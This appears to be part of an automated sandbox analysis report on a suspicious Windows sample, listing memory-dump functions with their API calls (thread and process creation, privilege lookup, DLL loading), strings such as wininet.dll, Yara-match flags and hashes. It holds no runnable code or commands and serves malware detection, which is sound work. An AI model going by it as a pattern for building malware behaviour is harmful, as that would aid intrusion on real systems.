Function 04B59650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5965A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1b65d1b307261d916066e652747d4a249f47265806a1d33132e3650b1876b393
Instruction ID: e61100da580681412c8cef60b5de3dc063c66bfe6db27828f8e0ecf494384e47
Opcode Fuzzy Hash: 1b65d1b307261d916066e652747d4a249f47265806a1d33132e3650b1876b393
Instruction Fuzzy Hash: BB90027230504C42F140715A4404A460019D7D0349F51C055A0065694D9A69DD65B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 04B59780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5978A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3a019e4265fb453fdac16b59bc153db8591e88fdc8867864f3627bbedfab929a
Instruction ID: 13dd88d24716f9e5a500da32c70656e7900022bf737ec25f3e527ec03141f4ec
Opcode Fuzzy Hash: 3a019e4265fb453fdac16b59bc153db8591e88fdc8867864f3627bbedfab929a
Instruction Fuzzy Hash: 9790026A31300402F180715A540860A0009D7D1246F91D459A0016558CCD59D8796361

Uniqueness

Uniqueness Score: -1.00%

Function 04B59FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B59FEA

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 64efce3935bb25c069d1d89990d011191c311919813b50dd290da3d14e747523
Instruction ID: 104f319fc1a756b9e2df092d1c10ceecf35392bec185e0da4a23ec9df015a9a3
Opcode Fuzzy Hash: 64efce3935bb25c069d1d89990d011191c311919813b50dd290da3d14e747523
Instruction Fuzzy Hash: 1790027231114802F110615A84047060009D7D1245F51C455A0825558D8AD9D8A17162

Uniqueness

Uniqueness Score: -1.00%

Function 04B59710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5971A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e9f5f8fd2e69b95f9574fa1e887fe57064ddc4ad13be0182aa584c830ebcb4cd
Instruction ID: 9e412671f8837b1fdf5cf2b8c31da1a06395235d2196fc758473676cd103c67b
Opcode Fuzzy Hash: e9f5f8fd2e69b95f9574fa1e887fe57064ddc4ad13be0182aa584c830ebcb4cd
Instruction Fuzzy Hash: 2690027230100802F100659A54086460009D7E0345F51D055A5025555ECAA9D8A17171

Uniqueness

Uniqueness Score: -1.00%

Function 04B59860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5986A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 75b8b4c864c1c07bbf2dd52b04eb03e8188ede87c1cb46cbb4db97257f86058f
Instruction ID: 311dcb33b2ff7ee873a0d9a36a287272fe1837d296b39a5026ff5e53fd6ad3a5
Opcode Fuzzy Hash: 75b8b4c864c1c07bbf2dd52b04eb03e8188ede87c1cb46cbb4db97257f86058f
Instruction Fuzzy Hash: 5B90027230100813F111615A4504707000DD7D0285F91C456A0425558D9A9AD962B161

Uniqueness

Uniqueness Score: -1.00%

Function 04B59840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5984A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b424c56fe5e7ae49af873c187b59bfd96148ddc1c562a22a9a34098a109bc4b5
Instruction ID: 18cbf78d3ca9db0e53572dca7ec2353943e06d608facc26abf5133d16da09f19
Opcode Fuzzy Hash: b424c56fe5e7ae49af873c187b59bfd96148ddc1c562a22a9a34098a109bc4b5
Instruction Fuzzy Hash: 92900262342045527545B15A4404507400AE7E0285791C056A1415950C896AE866E661

Uniqueness

Uniqueness Score: -1.00%

Function 04B599A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B599AA

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b3bd4bf88bd6f9e9ad7712e0c54d72c9d718b6c1631c974fef9280ef1af25ec6
Instruction ID: eb65793db9f3e6f1ea4bf7847163ae7359df5c4876e7f8380fde3b4d2240271c
Opcode Fuzzy Hash: b3bd4bf88bd6f9e9ad7712e0c54d72c9d718b6c1631c974fef9280ef1af25ec6
Instruction Fuzzy Hash: 4C9002A234100842F100615A4414B060009D7E1345F51C059E1065554D8A5DDC627166

Uniqueness

Uniqueness Score: -1.00%

Function 04B59910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5991A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 285a7f9ce8a1f10c20107624c6dd1773904e32571212d429d12005e07cec0914
Instruction ID: c3569e1f3d7b7077b551c92131365650db8b825fdf722e06d564ede769005667
Opcode Fuzzy Hash: 285a7f9ce8a1f10c20107624c6dd1773904e32571212d429d12005e07cec0914
Instruction Fuzzy Hash: 8E9002B230100802F140715A44047460009D7D0345F51C055A5065554E8A9DDDE576A5

Uniqueness

Uniqueness Score: -1.00%

Function 04B59A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B59A5A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3bb09ef7700a5d8184d5a719479b8a0014ea3589bf587f29a34dbeaac836f4fc
Instruction ID: 1595f166a9420750350ee5e695ccca5e760c0c266060c3e3cd496fd03d143e11
Opcode Fuzzy Hash: 3bb09ef7700a5d8184d5a719479b8a0014ea3589bf587f29a34dbeaac836f4fc
Instruction Fuzzy Hash: 0790026231180442F200656A4C14B070009D7D0347F51C159A0155554CCD59D8716561

Uniqueness

Uniqueness Score: -1.00%

Function 009B72D0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 009B7378

Strings

net.dll, xrefs: 009B7341, 009B73C7, 009B739F, 009B73AB, 009B73D3
wininet.dll, xrefs: 009B732E, 009B7337

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: e41a815766f3f25b52915bc3bae526404cd8ecc300f88e544bfdd51206af5907
Instruction ID: 09d88bf493f767eb1af1183b2675db87de16f9ece9880b5ed6ed163d4bfce42f
Opcode Fuzzy Hash: e41a815766f3f25b52915bc3bae526404cd8ecc300f88e544bfdd51206af5907
Instruction Fuzzy Hash: 6C318FB6505600ABC715DFA8D8A1FABB7F8EF88710F04851DFA1A9B241D734A945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009B72C7, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 83sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 009B7378

Strings

net.dll, xrefs: 009B7341, 009B739F, 009B73AB
wininet.dll, xrefs: 009B732E, 009B7337

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: b6df892355c272082c378585d563c2375d5fa5b4d0188f29ad74cc61fdc014de
Instruction ID: a5be4c4a37c9b3eba0d1d0b508bfcf686371f89eb2b055033a6faa8fd4e7b876
Opcode Fuzzy Hash: b6df892355c272082c378585d563c2375d5fa5b4d0188f29ad74cc61fdc014de
Instruction Fuzzy Hash: C821D0B1505200ABC710EFA4D8A1FABF7B8FF88710F048129FA199B241D374A845CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 009B744D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,009ACCE0,?,?), ref: 009B743C

Strings

net.dll, xrefs: 009B73D3

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID: net.dll
API String ID: 2422867632-2431746569
Opcode ID: 8e63647ee0682e416957501705a8783f22cafc43f863fb4e8916f9a0bad4917a
Instruction ID: 65b070496734f8c15c7d79aa44a0ba811c094a7ee3935f7540104b50dc2eb208
Opcode Fuzzy Hash: 8e63647ee0682e416957501705a8783f22cafc43f863fb4e8916f9a0bad4917a
Instruction Fuzzy Hash: 6B41ECB2600705ABC725EFB8CCA1FE7F3A9EF84360F004619F51997281CB70B8158BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009B88B7, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,009A3B93), ref: 009B88ED

Strings

.z`, xrefs: 009B88DC, 009B88E8

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: c570007ed9c568698e02309bbb7245a1d64dfb373d96ba1914368f87a504a681
Instruction ID: c1d7e0b9ac1782ff4973d3d400f9fd47998b24872dbe2bc2be623659bc872b6f
Opcode Fuzzy Hash: c570007ed9c568698e02309bbb7245a1d64dfb373d96ba1914368f87a504a681
Instruction Fuzzy Hash: 1CE06D71600204AFD714DF68CC49EA737A8EF88350F014558FA1997242D631E914CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009B88C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,009A3B93), ref: 009B88ED

Strings

.z`, xrefs: 009B88DC, 009B88E8

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 47c90b36f61676c2e861184c6bcf27472807411b761bcf1e2e91018ed486fd8c
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 37E01AB12102046BD714DF59CC49EA777ADAF88750F014554FA0957241C630E910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 009A7280, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 009A72DA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 009A72FB

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 88f562c184ae37d093af23ba06a366c5bb95a27bdb7d34895bc7096f1526536c
Instruction ID: 53d14423f1c38637fe4909e6a58a2fa22020d96608f25656d3a7d4ea5555ae96
Opcode Fuzzy Hash: 88f562c184ae37d093af23ba06a366c5bb95a27bdb7d34895bc7096f1526536c
Instruction Fuzzy Hash: 5901A731A8022877E721A6D49C03FFE776C5B41F50F154519FF04BA1C1E6A46A0586F6

Uniqueness

Uniqueness Score: -1.00%

Function 009A9AA3, Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4165ac5f52cf1c89cd93aa026a30780bc3074965008fb993e2f73ce0709d4a9
Instruction ID: 3674a967292e63af1410dd28d43607725643f86f4032b2a210d996d57fb8e88c
Opcode Fuzzy Hash: c4165ac5f52cf1c89cd93aa026a30780bc3074965008fb993e2f73ce0709d4a9
Instruction Fuzzy Hash: CA31283590815A9BDF20EB94E885EFDF769FF56308F044096E8488B142E6729E48C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A9B30, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 009A9BA2

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b151b7aefe362f9f53239ff94c441e7fc7ff50d12aa80511d0004ed55a8a3314
Instruction ID: f4ba09e121e81238896837b816035cdc3b061c7d407990b815c50176bf2525b8
Opcode Fuzzy Hash: b151b7aefe362f9f53239ff94c441e7fc7ff50d12aa80511d0004ed55a8a3314
Instruction Fuzzy Hash: EF011EB5D0020DABDF10EAA4ED82FDDB7B8AB54308F004195A90997281F671EB14CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009B8A11, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,009ACFB2,009ACFB2,?,00000000,?,?), ref: 009B8A50

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 1a1b5ec704336e13bf434e86b679d8069b1ff1f3f199fa9f754398f1c2af6a10
Instruction ID: 3f3b4ca7788345c69b969d7692d06bc267acbedd94934039a3aa2fb35f193e07
Opcode Fuzzy Hash: 1a1b5ec704336e13bf434e86b679d8069b1ff1f3f199fa9f754398f1c2af6a10
Instruction Fuzzy Hash: 6AF06DB56042086FDB14DF68DC85EE7376DEF86360F01855AFD4957352C630E910C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 009B8930, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 009B8984

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 755556bd98e22d81d5f68f364c5461654ece51f2cc01be7a02175f29b3fa1f93
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 7101AFB2214108AFCB54DF89DC80EEB77ADAF8C754F158258FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 009B8A55, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,009ACFB2,009ACFB2,?,00000000,?,?), ref: 009B8A50

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: f45349479847252cdaa5cd9b4552fa60e6b4eaf1b6e07af9531d98d83f8df333
Instruction ID: 352dabd7c854b58e5441fd17913fe23edf2ce346f1771a2fd45be7aac7eb5d59
Opcode Fuzzy Hash: f45349479847252cdaa5cd9b4552fa60e6b4eaf1b6e07af9531d98d83f8df333
Instruction Fuzzy Hash: 44F0BEB16402086FD724DF59DC44EE7376DAF8A360F01836AF9186B352C630AC01C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 009B73F4, Relevance: 1.5, APIs: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,009ACCE0,?,?), ref: 009B743C

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b41c60f68bb1cc562933f5c3f8aa51a2a8d3fba7a563df9d31137e31ba79cdbb
Instruction ID: 377a1a67282d4d6b31c551f782ec3ebab3317e609553a0ad8028bfc1902bea65
Opcode Fuzzy Hash: b41c60f68bb1cc562933f5c3f8aa51a2a8d3fba7a563df9d31137e31ba79cdbb
Instruction Fuzzy Hash: DAF0E57224160176E3306588CD03FD7B65DDFD4B30F140119F609AA5C1D6A5F85187A4

Uniqueness

Uniqueness Score: -1.00%

Function 009B7400, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,009ACCE0,?,?), ref: 009B743C

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 883be60f8b445baf272af701f58fa6e64fd2b677ed89996397fb66451d400e43
Instruction ID: 39c4e2fa3b76a0f408ca438597bb94246914d64cf038931b3c1a0a5bdf66568e
Opcode Fuzzy Hash: 883be60f8b445baf272af701f58fa6e64fd2b677ed89996397fb66451d400e43
Instruction Fuzzy Hash: 81E06D333812043AE23065999C02FE7B29C8BD1B31F14002AFA0DEB2C1D9A5F80142A5

Uniqueness

Uniqueness Score: -1.00%

Function 009B8880, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(009B3526,?,009B3C9F,009B3C9F,?,009B3526,?,?,?,?,?,00000000,00000000,?), ref: 009B88AD

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 29fb0530ce55806fd3e92bf745777a5eeb184e49d68f6af77fa665c3f81687c4
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 18E012B1210208ABDB14EF99CC85EA777ADAF88760F118558FA095B242CA30F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 009B8A20, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,009ACFB2,009ACFB2,?,00000000,?,?), ref: 009B8A50

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 8c24d096f7579c640d8e18180762ca8d182aaf4089c53feee23b7dbd898a2c48
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: BFE01AB12002086BDB10DF49CC85EE737ADAF89750F018154FA0957241C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 009AD417, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,009A7C83,?), ref: 009AD44B

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a660b3905d3c9ce0b0a464afc6c851104b86871d0371a716e37910d92f43c15f
Instruction ID: 4e43547cb207222e33f1ed8a6eb6b51d717e244569c0af58f8b294fa1d64ec50
Opcode Fuzzy Hash: a660b3905d3c9ce0b0a464afc6c851104b86871d0371a716e37910d92f43c15f
Instruction Fuzzy Hash: 45D02B713502002BE610FAF48C02F5922845B59720F084268F55CD63C3D924D5014022

Uniqueness

Uniqueness Score: -1.00%

Function 009AD420, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,009A7C83,?), ref: 009AD44B

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 5941c0a5fdae3851d709d72054521dfe57e6e64fcf16e108bb6ccc3ba138142f
Instruction ID: 52aa333bc31bf011fbe3022250db69e869fca98ee3f9aee08c1c2150c32e9486
Opcode Fuzzy Hash: 5941c0a5fdae3851d709d72054521dfe57e6e64fcf16e108bb6ccc3ba138142f
Instruction Fuzzy Hash: 2ED0A7717503043BE610FAA49C03F6672CC5B89F10F494074F94DD73C3D964F5004161

Uniqueness

Uniqueness Score: -1.00%

Function 04B5967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B59694

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 122e453239211fc22fb8adf276441e9ef8c41b3f3fc72afcfced0442af3c2ea4
Instruction ID: 3e9e3100166bd186fd4844f7f65888b694a796a261d9826383780d3e9b357b75
Opcode Fuzzy Hash: 122e453239211fc22fb8adf276441e9ef8c41b3f3fc72afcfced0442af3c2ea4
Instruction Fuzzy Hash: 96B09BB29014C5C5F751D76146087177944F7D0745F16C095D1030641B477CD095F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04BCB260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

read from, xrefs: 04BCB4AD, 04BCB4B2
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 04BCB47D
*** Inpage error in %ws:%s, xrefs: 04BCB418
*** An Access Violation occurred in %ws:%s, xrefs: 04BCB48F
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 04BCB39B
The resource is owned exclusively by thread %p, xrefs: 04BCB374
*** enter .cxr %p for the context, xrefs: 04BCB50D
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 04BCB53F
The instruction at %p referenced memory at %p., xrefs: 04BCB432
an invalid address, %p, xrefs: 04BCB4CF
The resource is owned shared by %d threads, xrefs: 04BCB37E
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 04BCB2DC
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 04BCB38F
*** Resource timeout (%p) in %ws:%s, xrefs: 04BCB352
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 04BCB323
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 04BCB314
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 04BCB484
<unknown>, xrefs: 04BCB27E, 04BCB2D1, 04BCB350, 04BCB399, 04BCB417, 04BCB48E
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 04BCB3D6
*** enter .exr %p for the exception record, xrefs: 04BCB4F1
The instruction at %p tried to %s , xrefs: 04BCB4B6
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 04BCB305
write to, xrefs: 04BCB4A6
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 04BCB476
The critical section is owned by thread %p., xrefs: 04BCB3B9
This failed because of error %Ix., xrefs: 04BCB446
Go determine why that thread has not released the critical section., xrefs: 04BCB3C5
*** then kb to get the faulting stack, xrefs: 04BCB51C
*** A stack buffer overrun occurred in %ws:%s, xrefs: 04BCB2F3
a NULL pointer, xrefs: 04BCB4E0

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 76c14446220efe34ac4d1efc8a7e496e9364893f3e18b9e3798542990b34478e
Instruction ID: d621a94fe46c0eaf64f76352182ee21bafbb2bc3ec453624326fb3502df3e982
Opcode Fuzzy Hash: 76c14446220efe34ac4d1efc8a7e496e9364893f3e18b9e3798542990b34478e
Instruction Fuzzy Hash: F5810875A08210FFEB216B49EC86D7F3F2ADF46756F4080C8F1042B1A1E261B561DBB2

Uniqueness

Uniqueness Score: -1.00%

